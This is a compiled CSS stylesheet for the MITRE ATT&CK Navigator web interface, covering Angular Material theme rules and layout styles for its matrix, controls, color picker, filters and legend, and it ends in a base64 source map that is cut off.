.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.mat-tab-nav-bar.mat-background-accent .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:rgba(255,255,255,.4)}\n.mat-tab-group.mat-background-accent .mat-ripple-element,.mat-tab-nav-bar.mat-background-accent .mat-ripple-element{background-color:rgba(255,255,255,.12)}\n.mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:rgba(255,205,210,.3)}\n.mat-tab-group.mat-background-warn .mat-tab-header,.mat-tab-group.mat-background-warn .mat-tab-header-pagination,.mat-tab-group.mat-background-warn .mat-tab-links,.mat-tab-nav-bar.mat-background-warn .mat-tab-header,.mat-tab-nav-bar.mat-background-warn .mat-tab-header-pagination,.mat-tab-nav-bar.mat-background-warn .mat-tab-links{background-color:#f44336}\n.mat-tab-group.mat-background-warn .mat-tab-label,.mat-tab-group.mat-background-warn .mat-tab-link,.mat-tab-nav-bar.mat-background-warn .mat-tab-label,.mat-tab-nav-bar.mat-background-warn .mat-tab-link{color:#fff}\n.mat-tab-group.mat-background-warn .mat-tab-label.mat-tab-disabled,.mat-tab-group.mat-background-warn .mat-tab-link.mat-tab-disabled,.mat-tab-nav-bar.mat-background-warn .mat-tab-label.mat-tab-disabled,.mat-tab-nav-bar.mat-background-warn .mat-tab-link.mat-tab-disabled{color:rgba(255,255,255,.4)}\n.mat-tab-group.mat-background-warn .mat-tab-header-pagination-chevron,.mat-tab-nav-bar.mat-background-warn .mat-tab-header-pagination-chevron{border-color:#fff}\n.mat-tab-group.mat-background-warn .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.mat-tab-nav-bar.mat-background-warn .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:rgba(255,255,255,.4)}\n.mat-tab-group.mat-background-warn .mat-ripple-element,.mat-tab-nav-bar.mat-background-warn .mat-ripple-element{background-color:rgba(255,255,255,.12)}\n.mat-toolbar{background:#f5f5f5;color:rgba(0,0,0,.87)}\n.mat-toolbar.mat-primary{background:#3f51b5;color:#fff}\n.mat-toolbar.mat-accent{background:#ff4081;color:#fff}\n.mat-toolbar.mat-warn{background:#f44336;color:#fff}\n.mat-toolbar .mat-focused .mat-form-field-ripple,.mat-toolbar .mat-form-field-ripple,.mat-toolbar .mat-form-field-underline{background-color:currentColor}\n.mat-toolbar .mat-focused .mat-form-field-label,.mat-toolbar .mat-form-field-label,.mat-toolbar .mat-form-field.mat-focused .mat-select-arrow,.mat-toolbar .mat-select-arrow,.mat-toolbar .mat-select-value{color:inherit}\n.mat-toolbar .mat-input-element{caret-color:currentColor}\n.mat-tooltip{background:rgba(97,97,97,.9)}\n.mat-tree{background:#fff}\n.mat-nested-tree-node,.mat-tree-node{color:rgba(0,0,0,.87)}\n.mat-snack-bar-container{color:rgba(255,255,255,.7);background:#323232;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}\n.mat-simple-snackbar-action{color:#ff4081}\n/**\n * Colors used across the Navigator. Shared by the ATT&CK Website.\n * For each color-pair:\n * - \"color\" refers to the color itself\n * - \"on-color\" refers to the most readable text-color to appear on top of the color. \n * Note: some colors don't define on-colors. This is because, for these colors, they aren't intended to\n * appear with inner content. For example, \"link\" is only intended to be used for link text, which inherently\n * cannot have inner text.\n */\nbody {\n padding: 0 15px 15px 15px;\n margin-top: 0;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen, Ubuntu, Cantarell, \"Open Sans\", \"Helvetica Neue\", sans-serif;\n}\n.noselect {\n -webkit-touch-callout: none;\n /* iOS Safari */\n -webkit-user-select: none;\n /* Safari */\n /* Konqueror HTML */\n -moz-user-select: none;\n /* Firefox */\n -ms-user-select: none;\n /* Internet Explorer/Edge */\n user-select: none;\n /* Non-prefixed version, currently\n supported by Chrome and Opera */\n}\n.controlsContainer {\n background-color: #ddd;\n text-align: right;\n display: block;\n}\n.controlsContainer ul {\n margin: 0;\n}\n.controlsContainer .control-sections > li {\n list-style: none;\n display: inline-block;\n border-left: 1px solid #c9c9c9;\n padding: 0 5px 0 5px;\n position: relative;\n}\n.controlsContainer .control-sections > li .section-label {\n font-size: 8pt;\n top: -13px;\n position: absolute;\n border-color: white;\n border-style: solid;\n border-width: 1px 1px 0 1px;\n padding: 0 5px;\n background-color: #ddd;\n border-radius: 2px 2px 0 0;\n text-align: center;\n color: #555;\n cursor: default;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n white-space: nowrap;\n}\n.controlsContainer .control-sections > li .control-row-item {\n display: inline-block;\n position: relative;\n height: 34px;\n}\n.controlsContainer .control-sections > li .control-row-item .control-row-button {\n border-radius: 3px;\n padding: 5px;\n height: 24px;\n cursor: pointer;\n}\n.controlsContainer .control-sections > li .control-row-item .control-row-button:hover {\n background-color: #d0d0d0;\n}\n.controlsContainer .control-sections > li .control-row-item .control-row-button.dropdown::after {\n font-size: 5pt;\n content: \"▼\";\n}\n.controlsContainer .control-sections > li .control-row-item .dropdown-container {\n border: 1px solid black;\n background-color: white;\n box-shadow: 10px 10px 5px rgba(0, 0, 0, 0.5);\n position: absolute;\n z-index: 100;\n width: -webkit-max-content;\n width: -moz-max-content;\n width: max-content;\n}\n.controlsContainer .control-sections > li .control-row-item .dropdown-container.left {\n right: 0;\n}\n.controlsContainer .control-sections > li .control-row-item .dropdown-container.inputfield {\n width: 150px;\n padding: 0px 10px;\n}\n.controlsContainer .control-sections > li .control-row-item .dropdown-container.inputfield mat-form-field {\n width: 100%;\n}\n.controlsContainer .control-sections > li .control-row-item .dropdown-container.inputfield mat-form-field:first-child {\n padding-top: 5px;\n}\n.checkbox-custom {\n opacity: 0;\n position: absolute;\n}\n.checkbox-custom:disabled {\n cursor: default;\n}\n.checkbox-custom, .checkbox-custom-label {\n display: inline-block;\n vertical-align: middle;\n margin: 5px;\n cursor: pointer;\n}\n.checkbox-custom-label {\n position: relative;\n}\n.checkbox-custom-label.disabled {\n color: rgba(0, 0, 0, 0.46);\n cursor: default;\n}\n.checkbox-custom + .checkbox-custom-label:before {\n content: \"\";\n background: #fff;\n border: 3px solid #ddd;\n display: inline-block;\n vertical-align: middle;\n width: 10px;\n height: 10px;\n padding: 2px;\n margin-right: 5px;\n text-align: center;\n}\n.checkbox-custom:checked + .checkbox-custom-label:before {\n background: #60c5ff;\n box-shadow: inset 0px 0px 0px 1px #60c5ff;\n}\n.checkbox-custom:checked:disabled + .checkbox-custom-label:before {\n background: #b0b0b0;\n box-shadow: inset 0px 0px 0px 1px #b0b0b0;\n}\n.matrices {\n overflow-x: scroll;\n min-height: 50vh;\n border: 1px solid #ddd;\n}\n.matrices .matrices-columns {\n display: table;\n}\n.matrices .matrices-columns .matrix-column {\n display: table-cell;\n white-space: normal;\n padding: 10px;\n}\n.matrices .matrices-columns .matrix-column .matrix-name {\n text-align: center;\n padding-bottom: 5px;\n margin-bottom: 5px;\n font-size: 16px;\n border-bottom: 1px solid #ddd;\n}\n.matrices .matrices-columns .matrix-column + .matrix-column {\n border-left: 1px solid #ddd;\n}\n.multiselect-dropdown {\n display: inline-block;\n}\n.colorpicker {\n width: 88px !important;\n align-items: center;\n text-align: center;\n}\n.colorpicker .color-block {\n cursor: pointer;\n border: 1px solid black;\n margin: 2.5px;\n}\n.colorpicker .color-block.square {\n display: inline-block;\n width: 15px;\n height: 15px;\n}\n.colorpicker .color-block.wide {\n display: block;\n height: 15px;\n font-size: 10pt;\n color: gray;\n}\n.colorSetup {\n font-size: 8pt;\n}\n.colorSetup .colorpicker {\n width: 10ex;\n}\n.colorSetup .gradient-section-label {\n font-weight: bold;\n padding: 4px;\n text-align: center;\n}\n.colorSetup .gradient-section-content {\n border-top: 1px solid black;\n border-bottom: 1px solid black;\n text-align: left;\n}\n.colorSetup .display-buttons {\n text-align: center;\n}\n.colorSetup .display-buttons .squarebutton {\n border: 1px solid #ddd;\n padding: 4px 0;\n cursor: pointer;\n}\n.colorSetup .display-buttons .squarebutton:hover {\n background: #f1f1f1;\n}\n.colorSetup .display-buttons .squarebutton.gradient:hover {\n text-decoration: underline;\n}\n.colorSetup .display-buttons .presetsmenu {\n width: 90%;\n display: inline-block;\n}\n.colorSetup .gradient-controls table {\n padding: 0;\n margin: 0;\n border-collapse: collapse;\n}\n.colorSetup .gradient-controls table td.buttons > div {\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n}\n.colorSetup .gradient-controls table td .left, .colorSetup .gradient-controls table td .right {\n display: inline-block;\n}\n.colorSetup .gradient-controls table td .left {\n float: left;\n}\n.colorSetup .gradient-controls table td .right {\n text-align: left;\n}\n.colorSetup .gradient-controls table td .right select {\n width: 80px;\n}\n.colorSetup .gradient-controls table td.col2 {\n width: 45px;\n}\n.colorSetup .gradient-controls table td.col2 input[type=number] {\n width: 40px;\n}\n.colorSetup .gradient-controls table .minmax {\n text-align: center;\n background-color: #f1f1f1;\n}\n.colorSetup .gradient-controls .addcolor {\n width: 100%;\n}\n.select_behavior {\n padding: 5px;\n text-align: left;\n}\n.contextMenu-cover {\n position: fixed;\n left: 0;\n top: 0;\n width: 100vw;\n height: 100vh;\n}\n.contextMenu-box {\n position: absolute;\n border: 1px solid black;\n background-color: white;\n box-shadow: 10px 10px 5px rgba(0, 0, 0, 0.5);\n position: absolute;\n z-index: 100;\n width: -webkit-max-content;\n width: -moz-max-content;\n width: max-content;\n}\n.contextMenu-box.left {\n right: 0;\n}\n.contextMenu-box .contextMenu-section:not(:first-child) {\n border-top: 1px solid #ddd;\n margin-top: 2px;\n padding-top: 2px;\n}\n.contextMenu-box .contextMenu-section .contextMenu-button {\n padding: 3px;\n cursor: pointer;\n}\n.contextMenu-box .contextMenu-section .contextMenu-button:hover {\n background: #60c5ff;\n}\n.mat-select :focus {\n color: #63961C;\n}\n.filters {\n padding: 4px;\n}\n.filters .filter {\n text-align: left;\n}\n.filters .filter:not(:first-child) {\n margin-top: 4px;\n}\n.filters .filter .filter-option:hover {\n background: #60c5ff;\n}\n.multiselect {\n text-align: center;\n}\n.multiselect .multiselect-grouping .multiselect-grouping-label {\n padding: 4px;\n font-weight: bold;\n}\n.multiselect .multiselect-grouping .multiselect-list {\n text-align: left;\n border-top: 1px solid black;\n border-bottom: 1px solid black;\n height: 200px;\n overflow-y: scroll;\n}\n.multiselect .multiselect-grouping .multiselect-list table {\n border-collapse: collapse;\n}\n.multiselect .multiselect-grouping .multiselect-list .multiselect-list-item:hover {\n background: #60c5ff;\n}\n.multiselect .multiselect-grouping .multiselect-list .multiselect-list-item .multiselect-list-item-label {\n width: 25ex;\n}\n.multiselect .multiselect-grouping .multiselect-list .multiselect-list-item.selected:not(:hover) {\n background: #ddd;\n}\n.search {\n text-align: center;\n}\n.search .search-list {\n margin-top: 2px;\n text-align: left;\n border-top: 1px solid black;\n border-bottom: 1px solid black;\n height: 300px;\n overflow-y: scroll;\n}\n.search .search-list table {\n border-collapse: collapse;\n width: 325px;\n}\n.search .search-list .search-list-item:hover {\n background: #60c5ff;\n}\n.search .search-list .search-list-item .search-list-item-label {\n width: 25ex;\n}\n.search .search-list .search-list-item.selected:not(:hover) {\n background: #ddd;\n}\n.search-button:hover {\n background: #60c5ff;\n}\n.button {\n background-color: #ddd;\n border: none;\n padding: 4px 10px;\n text-align: center;\n margin: 2px 1px;\n transition: 0.3s;\n display: inline-block;\n text-decoration: none;\n cursor: pointer;\n}\n.button:hover {\n background-color: #b8b8b8;\n}\n.deselectNumber {\n font-size: 5pt;\n bottom: 2px;\n right: 4px;\n position: absolute;\n text-align: right;\n}\n.legend {\n position: fixed;\n bottom: 0;\n right: 0;\n width: 300px;\n height: 300px;\n background-color: white;\n border-left: 1px solid #ddd;\n}\n.legend .itemArea {\n position: static;\n overflow-y: scroll;\n margin-top: 30px;\n height: 270px;\n width: 100%;\n overflow-x: hidden;\n}\n.legend .itemArea .item {\n width: 100%;\n height: 40px;\n padding-left: 5px;\n}\n.legend .itemArea .item .label {\n margin-left: 10px;\n width: 150px;\n}\n.legend .itemArea .even {\n background-color: #f1f1f1;\n width: 100%;\n height: 40px;\n}\n.legend .itemArea .even .label {\n margin-left: 10px;\n width: 150px;\n}\n.legendBar {\n position: fixed;\n bottom: 0;\n right: 0;\n width: 300px;\n height: 30px;\n background-color: #ddd;\n transition: 0.3s;\n}\n.legendBar:hover {\n background: #60c5ff;\n cursor: pointer;\n}\n.layer_info {\n padding: 0 !important;\n box-sizing: border-box !important;\n width: 250px !important;\n}\n.layer_info .name_desc {\n padding: 0 10px;\n}\n.layer_info .metadata_input {\n padding-left: 10px;\n margin-bottom: 2px;\n max-height: 50vh;\n overflow-y: auto;\n text-align: left;\n}\n.layer_info .metadata_input table {\n border-spacing: 5px 15px;\n}\n.layer_info .metadata_input table .formfield-group td:first-child {\n border-width: 1px 0 1px 1px;\n border-color: black;\n border-style: solid;\n width: 5px;\n}\n.layer_info .metadata_input table .formfield-group button {\n margin-bottom: 4px;\n}\n.layout {\n width: 100px;\n text-align: left;\n}\n.layout select {\n width: 100%;\n}\n.layout .section {\n padding: 10px;\n}\n.layout .section + .section {\n border-top: 1px solid #f1f1f1;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInNyYy9hcHAvZGF0YXRhYmxlL2RhdGEtdGFibGUuY29tcG9uZW50LnNjc3MiLCIvaG9tZS9MT04vYmVybmFsby9naXQvYXR0YWNrLW5hdmlnYXRvci9uYXYtYXBwL3NyYy9hcHAvZGF0YXRhYmxlL2RhdGEtdGFibGUuY29tcG9uZW50LnNjc3MiLCIvaG9tZS9MT04vYmVybmFsby9naXQvYXR0YWNrLW5hdmlnYXRvci9uYXYtYXBwL3NyYy9zdHlsZXMuc2NzcyIsIm5vZGVfbW9kdWxlcy9AYW5ndWxhci9tYXRlcmlhbC9wcmVidWlsdC10aGVtZXMvaW5kaWdvLXBpbmsuY3NzIiwiL2hvbWUvTE9OL2Jlcm5hbG8vZ2l0L2F0dGFjay1uYXZpZ2F0b3IvbmF2LWFwcC9zdGRpbiJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxnQkFBZ0I7QUNlaEI7Ozs7Ozs7O0VBQUE7QUNmQSw4RUFBQTtBQ0FBLG1CQUFtQixlQUFlLENBQUMsY0FBYyxDQUFDLDhDQUE4QztBQUFDLG9DQUFvQyxhQUFhO0FBQUMsb0NBQW9DLGNBQWM7QUFBQyx5Q0FBeUMscURBQXFELENBQUMsZUFBZTtBQUFDLHNDQUFzQyxxREFBcUQsQ0FBQyxlQUFlO0FBQUMsNkNBQTZDLHFEQUFxRCxDQUFDLGVBQWU7QUFBQyw2Q0FBNkMscURBQXFELENBQUMsZUFBZTtBQUFDLDJCQUEyQixpRUFBaUUsQ0FBQyxlQUFlO0FBQUMsMkJBQTJCLGlFQUFpRSxDQUFDLGVBQWU7QUFBQyw2QkFBNkIscURBQXFEO0FBQUMsc0NBQXNDLHFEQUFxRDtBQUFDLDRDQUE0QyxlQUFlO0FBQUMsd0JBQXdCLHFEQUFxRDtBQUFDLDhDQUE4Qyx1REFBdUQsQ0FBQyxxQkFBcUIsQ0FBQyxlQUFlO0FBQUMsOENBQThDLHFEQUFxRCxDQUFDLHFCQUFxQixDQUFDLGVBQWU7QUFBQyw4Q0FBOEMscURBQXFELENBQUMsc0JBQXNCLENBQUMsZUFBZTtBQUFDLDhDQUE4QyxxREFBcUQsQ0FBQyxlQUFlO0FBQUMsNEJBQTRCLHFE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